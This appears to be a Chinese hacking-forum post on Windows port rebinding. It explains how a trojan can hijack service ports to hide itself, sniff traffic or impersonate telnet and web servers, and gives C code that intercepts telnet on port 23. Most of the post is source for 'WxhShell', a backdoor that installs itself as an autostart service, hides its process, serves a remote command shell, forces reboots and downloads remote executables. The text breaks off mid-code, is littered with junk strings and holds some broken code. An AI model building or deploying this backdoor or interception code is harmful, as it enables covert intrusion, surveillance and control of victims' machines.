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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^kF-mM=  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ;FI"N@z  
kCuIEv@  
  saddr.sin_family = AF_INET; |V>_l' /  
-$Ad#Eu]M  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }ag -J."5M  
<O]TM-h  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); GQR|t?:t  
O0i)Iu(J7;  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 FFvF4]|L  
QL{^  
  这意味着什么?意味着可以进行如下的攻击: BB)( #yoi  
7YLG<G!v)]  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 KK|AXoBf  
6cm&=n_u  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) $Qc`4x;N  
 q\xT  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [og_0;  
/^XGIQ/W  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  W  :qQ  
1(;_1@P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ck;>9>  
;<?mMi@<E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 RqenPM k  
~$@~X*K~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 <)J83D0$E  
b-Q%c xJ  
  #include /xu#ZZ?8F_  
  #include c8"9Lv  
  #include 7: cmBkXm  
  #include    th 9I]g^=t  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g`69 0  
  int main() ~dpU D F  
  { 7w_cKR1;  
  WORD wVersionRequested; lJR  
  DWORD ret; T`?{Is['(  
  WSADATA wsaData; a7_&;  
  BOOL val; ZtFOIb*  
  SOCKADDR_IN saddr; 6')pM&`t  
  SOCKADDR_IN scaddr; ;@&mR <5j  
  int err; TS~>9h\;  
  SOCKET s; <%~`!n,t0  
  SOCKET sc; yN4K^#  
  int caddsize; 7"iUyZ(  
  HANDLE mt; Oapv`Z\i~  
  DWORD tid;   C@7<0w  
  wVersionRequested = MAKEWORD( 2, 2 ); 9|}u"jJB%E  
  err = WSAStartup( wVersionRequested, &wsaData ); eOdB<He36  
  if ( err != 0 ) { {imz1g;  
  printf("error!WSAStartup failed!\n"); H fg2]N  
  return -1; HF\|mL  
  } h>A~..  
  saddr.sin_family = AF_INET; 5Lo\[K >j  
   w}`TJijl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 !MNnau%O  
rda/  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); YV p sf8R  
  saddr.sin_port = htons(23); ! qF U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]3%( '8/  
  { `wzb}"gLsM  
  printf("error!socket failed!\n"); "%~Jb dx  
  return -1; Y<"BhE  
  } ;B,6v P#  
  val = TRUE; (H/2{##  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 J2ryYdo>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AxbQN.E  
  { C(Bh<c0@  
  printf("error!setsockopt failed!\n"); .h0@Vs  
  return -1; >*v P*H:P  
  } 7tEkQZMDI  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `o;E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 -!~ T$}/F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I>(3\z4s  
t04_~e  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 6~t;&)6J  
  { M$O*@])  
  ret=GetLastError(); R'#1|eWCa  
  printf("error!bind failed!\n"); cU+% zk  
  return -1; ?aMV{H*Q*  
  } hS?pc<~`#  
  listen(s,2); GO|1O|?  
  while(1) Uzx,aYo X  
  { 3/j^Ao\fw  
  caddsize = sizeof(scaddr); S>! YBzm&X  
  //接受连接请求 KTQy pv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YoT< ]'  
  if(sc!=INVALID_SOCKET) d[p-zn.  
  { p,)~w1|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); D;@nrj`.  
  if(mt==NULL) ~eVq Fc  
  { Ui^~A  
  printf("Thread Creat Failed!\n"); zn=Ifz)#|  
  break; l[_ y|W5  
  } a&?SRC'x  
  } I 19 /  
  CloseHandle(mt); WPN4mEow  
  } 2!7)7wlj0  
  closesocket(s); L355uaj  
  WSACleanup(); IO*}N"  
  return 0; sb]{05:  
  }   t,f)!D$  
  DWORD WINAPI ClientThread(LPVOID lpParam) 'UW(0 PXw  
  { q$<M2  
  SOCKET ss = (SOCKET)lpParam; ]I+"";oQGB  
  SOCKET sc; }u>F}mUa  
  unsigned char buf[4096]; ]+!{^h$  
  SOCKADDR_IN saddr; n B5:X  
  long num; b%TS37`^[  
  DWORD val; YM:;mX5B  
  DWORD ret; MHm=X8eg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 x$6` k  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   d,c8ks(  
  saddr.sin_family = AF_INET; G>>`j2:y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); +i@r-OL   
  saddr.sin_port = htons(23); 2$fFl,v!z  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) P_[A  
  { 4dB6cg  
  printf("error!socket failed!\n"); {#Lj,o  
  return -1; LhfI"fc  
  } +p:?blG  
  val = 100; (D?%(f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 4F-r}Fj3  
  { BeNH"Y:E  
  ret = GetLastError(); Gl4(-e'b  
  return -1; 4GiHp7Y&A  
  } sp2"c"_+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) :FUefW m  
  { {DI`HB[  
  ret = GetLastError(); BJ c'4>  
  return -1; \L-K}U>J  
  } ^h c&rD)_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) o/;kzi  
  { w`N|e0G@  
  printf("error!socket connect failed!\n"); BotGPk><c  
  closesocket(sc); ~=!d>f~U  
  closesocket(ss); 'R{Xq HP  
  return -1; sW53g$`v  
  } -$@$  
  while(1) +5zLQ>]z  
  { d-W@/J  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (eG9b pqr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 t7t?xk!2  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 WeqE 9@V  
  num = recv(ss,buf,4096,0); 'T '&OA  
  if(num>0) iEA$`LhO\A  
  send(sc,buf,num,0); ,vxxp]#5  
  else if(num==0)  [YGPcGw  
  break; Y`O"+Jr  
  num = recv(sc,buf,4096,0); fku\O<1  
  if(num>0) HP$GI  
  send(ss,buf,num,0); pBd_Ba N  
  else if(num==0) d>RoH]K4  
  break; \A{ [2  
  } 6;O fh   
  closesocket(ss); ,t2yw  
  closesocket(sc); P ,%IZ.  
  return 0 ; fAW(  
  } c7E|GZ2Hc  
z ?3G`  
P  -O& X  
========================================================== Y]u6f c  
TL29{'4V  
下边附上一个代码,,WXhSHELL sQ)D.9\~  
8RA]h?$$J  
========================================================== ;2NJkn9t  
nB~hmE)  
#include "stdafx.h" jGeil qPC  
a5)<roWQ  
#include <stdio.h> ?yfw3s  
#include <string.h> \),DW)  
#include <windows.h> CQ4MQ<BJ.  
#include <winsock2.h> 17\5 NgB  
#include <winsvc.h> xrXfLujn%  
#include <urlmon.h> ],?rFK{O  
}!&Vcf  
#pragma comment (lib, "Ws2_32.lib") Gr&)5hm$  
#pragma comment (lib, "urlmon.lib") D?)^{)49  
b3h3$kIYN  
#define MAX_USER   100 // 最大客户端连接数 p4Wy2.&Q  
#define BUF_SOCK   200 // sock buffer 8)NQt$lWp  
#define KEY_BUFF   255 // 输入 buffer lBYc(cr  
feSj3,<!  
#define REBOOT     0   // 重启 \V1geSoE  
#define SHUTDOWN   1   // 关机 &D/@H1fBe  
*_qW;l7  
#define DEF_PORT   5000 // 监听端口 E#0_y4  
>Q`\|m}x)Q  
#define REG_LEN     16   // 注册表键长度 5t,W'a_  
#define SVC_LEN     80   // NT服务名长度 +1te8P*  
Q^B !^_M  
// 从dll定义API jMpV c E#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); D~(f7~c%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *-zOQ=Y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &| d6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <kmH^ viX  
(=T%eJ61  
// wxhshell配置信息 ytWTJ>L  
struct WSCFG { {mkD{2)KQ  
  int ws_port;         // 监听端口 ,?3)L   
  char ws_passstr[REG_LEN]; // 口令 Oi?+Z:lak  
  int ws_autoins;       // 安装标记, 1=yes 0=no pPa3byWf  
  char ws_regname[REG_LEN]; // 注册表键名 ib-)T7V`  
  char ws_svcname[REG_LEN]; // 服务名 !"G|y4O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 VbwB<nQl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &&Uc%vIN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 e[>c>F^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *(?tf{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T> !Y-e.q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 /qKO9M5A  
y3,'1^lA  
}; q2 pq~LI  
0m,3''Q5lO  
// default Wxhshell configuration RRasX;zK  
struct WSCFG wscfg={DEF_PORT, 0sQt+_Dl%L  
    "xuhuanlingzhe", S260h,(,  
    1, ;RElG>#$  
    "Wxhshell", w[/_o,R  
    "Wxhshell", 2fa1jl  
            "WxhShell Service", 0- =PP@W  
    "Wrsky Windows CmdShell Service", 6AA "JX  
    "Please Input Your Password: ", ++d%D9*V<  
  1, g5\EVcHkz  
  "http://www.wrsky.com/wxhshell.exe", wqZ*$M   
  "Wxhshell.exe" :Sd"~\N+  
    }; q#6K'=AC  
Os5Xejh`I  
// 消息定义模块 |})7\o  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~vL`[JiK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3SeM:OYq]s  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; dw"Tv ~  
char *msg_ws_ext="\n\rExit."; TTfU(w%&P  
char *msg_ws_end="\n\rQuit."; GY3g`M   
char *msg_ws_boot="\n\rReboot..."; ZQVr]/W^r  
char *msg_ws_poff="\n\rShutdown..."; o)M=; !  
char *msg_ws_down="\n\rSave to "; >$g+Gx\v4  
|)4aIa  
char *msg_ws_err="\n\rErr!"; RyN}Gz/YN  
char *msg_ws_ok="\n\rOK!"; FUD M]:XQ  
vhEXtjL  
char ExeFile[MAX_PATH]; Q!T+Jc9N  
int nUser = 0; &|LP>'H;  
HANDLE handles[MAX_USER]; v5/2-<6x  
int OsIsNt; "Q[rM1R  
b}C6/ zW  
SERVICE_STATUS       serviceStatus; KiaQ^[/q  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; [8Yoz1(smA  
z5UY0>+VdS  
// 函数声明 g?mfpwZj  
int Install(void); 6]mFw{6qn1  
int Uninstall(void); '1Z3MjX  
int DownloadFile(char *sURL, SOCKET wsh); S{l >|N2q  
int Boot(int flag); G'dN_6ho3  
void HideProc(void); F4#^jat{  
int GetOsVer(void); n{@^ne4 m  
int Wxhshell(SOCKET wsl); !e0OGf  
void TalkWithClient(void *cs); Jq1^}1P  
int CmdShell(SOCKET sock); 9[9 ZI1*s  
int StartFromService(void); mjI $z3  
int StartWxhshell(LPSTR lpCmdLine); U7(t >/  
HXg#iP^tv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VOa7qnh4:[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #K4lnC2qz  
(9A`[TRwi  
// 数据结构和表定义 n;w&} g  
SERVICE_TABLE_ENTRY DispatchTable[] = !L ({i')  
{ gWK NC  
{wscfg.ws_svcname, NTServiceMain}, -!s?d5k")  
{NULL, NULL} +J+[fbqX  
}; (TF;+FRW  
S *D Bzl  
// 自我安装 $.g)%#h:  
int Install(void) +Y9n@`  
{ #6'+e35^8  
  char svExeFile[MAX_PATH]; h=7eOK]  
  HKEY key; `+c8;p'q  
  strcpy(svExeFile,ExeFile); Z4ZR]eD  
_ l$1@  
// 如果是win9x系统,修改注册表设为自启动 Fb^Ae6/i  
if(!OsIsNt) { $YPQi.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x392uS$#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); <:YD.zAh|  
  RegCloseKey(key); G^6\OOSy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D$vP&7pOr4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \U\k$ (  
  RegCloseKey(key); XVRtfo  
  return 0; V1 :aR3*!  
    } 1f/8XxTB  
  } W4ygJL7 6  
} b~L8m4L  
else { ss4<s 5:y  
jwW6m@+  
// 如果是NT以上系统,安装为系统服务 L>PPAI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %(v<aEQtt  
if (schSCManager!=0) @9}SHS  
{ {-'S#04  
  SC_HANDLE schService = CreateService 4pw:O^v  
  ( 4or8fG  
  schSCManager, .%3qzOrN  
  wscfg.ws_svcname, OZc.Rtgc  
  wscfg.ws_svcdisp, [h=[@jiB  
  SERVICE_ALL_ACCESS, $mF(6<w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , F# a)"$j;  
  SERVICE_AUTO_START, E~| XY9U36  
  SERVICE_ERROR_NORMAL, ,iYKtS3  
  svExeFile, ;A3aUN;"I  
  NULL, BGSqfr1F  
  NULL, 5"cYZvGkJ  
  NULL, B;6N.X(K  
  NULL, @?gN &Z)I  
  NULL {R{Io|   
  ); ;=ci7IT'  
  if (schService!=0) ud @7%%  
  { OQC.p,SO  
  CloseServiceHandle(schService); S^/:O.X)c,  
  CloseServiceHandle(schSCManager); Z9+xB"q2  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h=`1sfz  
  strcat(svExeFile,wscfg.ws_svcname); FE[{*8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6lKM5,Oa  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M,f|.p{,Y  
  RegCloseKey(key); .:(N1n'>1  
  return 0; HXg4 T  
    } S$egsK"~  
  } @m99xF\e  
  CloseServiceHandle(schSCManager); V1= (^{p8  
} ! ~5=tK  
} 1qgzb  
(8?5REz  
return 1; w]Fi:kV  
} c~=yD:$  
0s%rd>3  
// 自我卸载 R8K ?! Z  
int Uninstall(void) ~H+W[r}  
{ R2%>y5dD  
  HKEY key;  &9*MO  
% w0Vf$  
if(!OsIsNt) { (q|EC;   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U}]uPvu  
  RegDeleteValue(key,wscfg.ws_regname); q&y9(ZvI  
  RegCloseKey(key); 0u7\*Iy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :: 2pDtMS  
  RegDeleteValue(key,wscfg.ws_regname); )b_ GKA `  
  RegCloseKey(key); W2CQk  
  return 0; %!_%%p,f  
  } "k%B;!We)  
} _);;@T  
} n;5;D  
else { `=B0NC.3  
TiF2c#Q*y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;&9A Yh.  
if (schSCManager!=0) |##rs  
{ _?IP}}jA:  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?7:?OX  
  if (schService!=0) 8pQ:B/3=  
  { #!n"),3  
  if(DeleteService(schService)!=0) { +mqz)-x  
  CloseServiceHandle(schService); 5{@Hpj/B  
  CloseServiceHandle(schSCManager); Gf|qc>j.b  
  return 0; >dTJ  
  } ,cqZb0VP{t  
  CloseServiceHandle(schService); mI[$c"!BD  
  } [Tq\K ^!^  
  CloseServiceHandle(schSCManager); VIi/=mO]  
} *P mk1h2  
} Q:+cLl&;hB  
t'F_1P^*/  
return 1; Wxxnc#;lv  
} U'8ub(:&  
=`oQcIkz  
// 从指定url下载文件 ,PyA$Z  
int DownloadFile(char *sURL, SOCKET wsh) \EC=#E(  
{ )Fo1[:_B '  
  HRESULT hr; D#~S< >u@  
char seps[]= "/"; <g^!xX<r?  
char *token; Owa]ax5  
char *file; 3?"JFfYU,'  
char myURL[MAX_PATH]; NP {O  
char myFILE[MAX_PATH]; >cEB ,@~  
D}| 30s?u1  
strcpy(myURL,sURL);  xlH?J;$  
  token=strtok(myURL,seps); q[}[w!to  
  while(token!=NULL) b)eKa40Z  
  { A`D^}F6  
    file=token; rLfhm Ds%u  
  token=strtok(NULL,seps); eZr}xo@9  
  } l*yh(3~}  
V(Dn!Nz  
GetCurrentDirectory(MAX_PATH,myFILE); >;;tX3(  
strcat(myFILE, "\\"); _cW (R,i  
strcat(myFILE, file); 6.!3g(w   
  send(wsh,myFILE,strlen(myFILE),0); H(1( H0Kj"  
send(wsh,"...",3,0); t[.wx.y&0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $2M dxw5  
  if(hr==S_OK) WG_20JdJY  
return 0; N!`8-ap\^  
else \3ZQ:E}5  
return 1; l5m5H,`  
_v+mjDdQ  
} .skR4f,h  
.kGlUb?^Q  
// 系统电源模块 8-wW?YTG  
int Boot(int flag) y8{PAH8S  
{ nn"Wn2ciS  
  HANDLE hToken; ^rKA=siz  
  TOKEN_PRIVILEGES tkp; Y\qiYra  
*$KUnd-T  
  if(OsIsNt) { 4rh*&'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `y2 6OYo  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); DM-8azq $  
    tkp.PrivilegeCount = 1; L-LN+6r (#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; BE;J/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); JVORz-uBs  
if(flag==REBOOT) { #0hX'8];(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) nVTCbV  
  return 0; >}43xIRRCq  
} H9["ZRL,Q  
else { r*'X]q|L+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 6G<t1?_yD  
  return 0; xF+a.gAIb  
} ;Ly(O'9  
  } f|*vWHSM  
  else { g* NKY`,  
if(flag==REBOOT) { buXPeIo^VM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) r/![ohrEB  
  return 0; -,;Iob56!  
} 1D0_k  
else { #>|l"1   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) WJ{hta  
  return 0; U[ $KQEJYj  
} ,=9e]pQ  
} Dm=Em-ST6  
[U]ouh)  
return 1; nC3U%*l  
} uh~/ybR  
q>~\w1%}a\  
// win9x进程隐藏模块 <&?gpRK   
void HideProc(void) Y}bJN%M  
{ `>1"v9eF  
idC4yH42  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 2 NgEzY 5  
  if ( hKernel != NULL ) 0`KB|=>  
  { M1MpR+7S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 5pBQ~m3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); <(]e/}  
    FreeLibrary(hKernel); w>IYrSaa>  
  } FT1h\K|a  
_l&`* 2d  
return; KUdpOMYX  
} >+[uV ^2[  
ZD9UE3-  
// 获取操作系统版本 ~h~K"GbC?  
int GetOsVer(void) Fr}e-a  
{ H?M#7K~[  
  OSVERSIONINFO winfo; AQ!FJ(X(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 'oZ/fUl|7  
  GetVersionEx(&winfo); 3 <V{.T  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8?GS:+  
  return 1; o |7]8K=  
  else *-timVlaE  
  return 0; 74c1i  
} D!. r$i)  
 W t&tu2  
// 客户端句柄模块 A2o ;YyF  
int Wxhshell(SOCKET wsl) JM#jg-z,~  
{ d9XX^nY.  
  SOCKET wsh; sW~Z?PFP  
  struct sockaddr_in client; g8yWFqE!T  
  DWORD myID; `A.!<bO)]  
<}RU37,W  
  while(nUser<MAX_USER) 5#zwd oQ  
{ g1Q^x/  
  int nSize=sizeof(client); G4Zs(:a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ve,_;<F]S  
  if(wsh==INVALID_SOCKET) return 1; 1NO<K`  
ExDH@Lb  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Jy'ge4]3  
if(handles[nUser]==0) H!Y`?Rc  
  closesocket(wsh); *'+OA6  
else %d+:0.+`n  
  nUser++; IB x?MU#.  
  } +igFIoHTM  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); td@F%*  
=nEl m*E  
  return 0; X[8m76/V  
} E'=~<&  
@WX]K0 $;  
// 关闭 socket {m9OgR5U  
void CloseIt(SOCKET wsh)  4q)eNcs  
{ 9$,?Grw~  
closesocket(wsh); 1\7SiQ-  
nUser--; "D7*en  
ExitThread(0); oJK]oVX9i  
} 5=g{%X  
G3P3  
// 客户端请求句柄 H#8]Lb@@:  
void TalkWithClient(void *cs) 4A%O`&eZ  
{ OHzI!,2]  
S]Gw}d]4  
  SOCKET wsh=(SOCKET)cs; cO2 .gQo'  
  char pwd[SVC_LEN]; fbS l$jn.  
  char cmd[KEY_BUFF]; }-m/ 'Q  
char chr[1]; h3issi+N  
int i,j; N}wi<P:*)  
x`^~|Q  
  while (nUser < MAX_USER) { vJ$#m_aa  
`j088<?j  
if(wscfg.ws_passstr) { 9hI4',(rE  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); o}p6qB=;1  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); YJ]]6 K+  
  //ZeroMemory(pwd,KEY_BUFF); 3OV#H%  
      i=0; xW{_c[oA  
  while(i<SVC_LEN) { ^;B vd!  
9)sGnD;  
  // 设置超时 '$~9~90?Z  
  fd_set FdRead; #;U_ L`q  
  struct timeval TimeOut; 5AR\'||u  
  FD_ZERO(&FdRead); 4J2NIFZ  
  FD_SET(wsh,&FdRead); _;J7#j~}  
  TimeOut.tv_sec=8; q('O@-HA  
  TimeOut.tv_usec=0; oUEpzv,J  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3Juhn5&N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); HoGrvt<:.P  
xaWd \]UF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }U'fPYYi8  
  pwd=chr[0]; yqqP7  
  if(chr[0]==0xd || chr[0]==0xa) { m~\BkE/[l  
  pwd=0; e9h T  
  break; +bvY*^i  
  } Q"CZ}B1<  
  i++; MP?9k)f  
    } 1i9}mzy%  
*&>1A A  
  // 如果是非法用户,关闭 socket St/Hv[H'[E  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Yt2_*K@rC  
} RNuOwZ1m  
;Gxp'y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3a9Oj'd1M  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nH*U  
cS,(HLO91  
while(1) { zT0rvz1),M  
+o)S.a+7  
  ZeroMemory(cmd,KEY_BUFF); n.,\Z(l|0  
Y_S^B)y  
      // 自动支持客户端 telnet标准   z>NRvx0  
  j=0; b&p*IyJR  
  while(j<KEY_BUFF) { VB*$lx X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |UM':Ec  
  cmd[j]=chr[0]; Yd lXMddE  
  if(chr[0]==0xa || chr[0]==0xd) { V@<tIui$  
  cmd[j]=0; -G]\"ZGi  
  break; lu_ y9o^  
  } D0=D8P}H:  
  j++; #"%oz^~\  
    } `N}<lg(0#  
e{Pgz0sO Q  
  // 下载文件 L.lmbxn  
  if(strstr(cmd,"http://")) { V;ZyAp  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~m y\{q  
  if(DownloadFile(cmd,wsh)) !Pt|Hk dr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }S3m wp<Y  
  else ^-PlTmT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (w?@qs!  
  }  =w0Rq~  
  else { gSK (BP|  
+60zJ 4  
    switch(cmd[0]) { &fq-U5zH  
  !)ey~Suh  
  // 帮助 N%/Qc hu  
  case '?': { aB-*l %x  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g=Q#2/UQ<  
    break; x$I~y D  
  } /K<Xr[z~y  
  // 安装 ^10*s,(uS?  
  case 'i': { pq+Gsu1^  
    if(Install()) j"HB[N   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ry3;60E \)  
    else i 4lR$]@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZdA<<,:o  
    break; wqyx{W`~w  
    } ,g@U *06  
  // 卸载 ,SuF1&4  
  case 'r': { {;);E  
    if(Uninstall()) SQWwxFJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8 wQV^G  
    else [oKc<o7)~"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); k uU,7 <o  
    break; ,d<wEB?\`  
    } /!oi`8D  
  // 显示 wxhshell 所在路径 ${ad[hs  
  case 'p': { J %jf uj  
    char svExeFile[MAX_PATH]; 0FsGqFt  
    strcpy(svExeFile,"\n\r"); AF ZHS\  
      strcat(svExeFile,ExeFile); [Nr6 qxWg  
        send(wsh,svExeFile,strlen(svExeFile),0); V' "p a  
    break; (A\qZtnyl  
    } 8},!t\j#]  
  // 重启 SC74r?N FA  
  case 'b': { 8b !&TP~m1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !0 `44Gbq  
    if(Boot(REBOOT)) 9s6, &'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xoml  
    else { bw9a@X  
    closesocket(wsh); ;$&&tEh)  
    ExitThread(0); ik_Ll|  
    } 724E(?>J  
    break; Vd4x!Vk  
    } ;" '` P[  
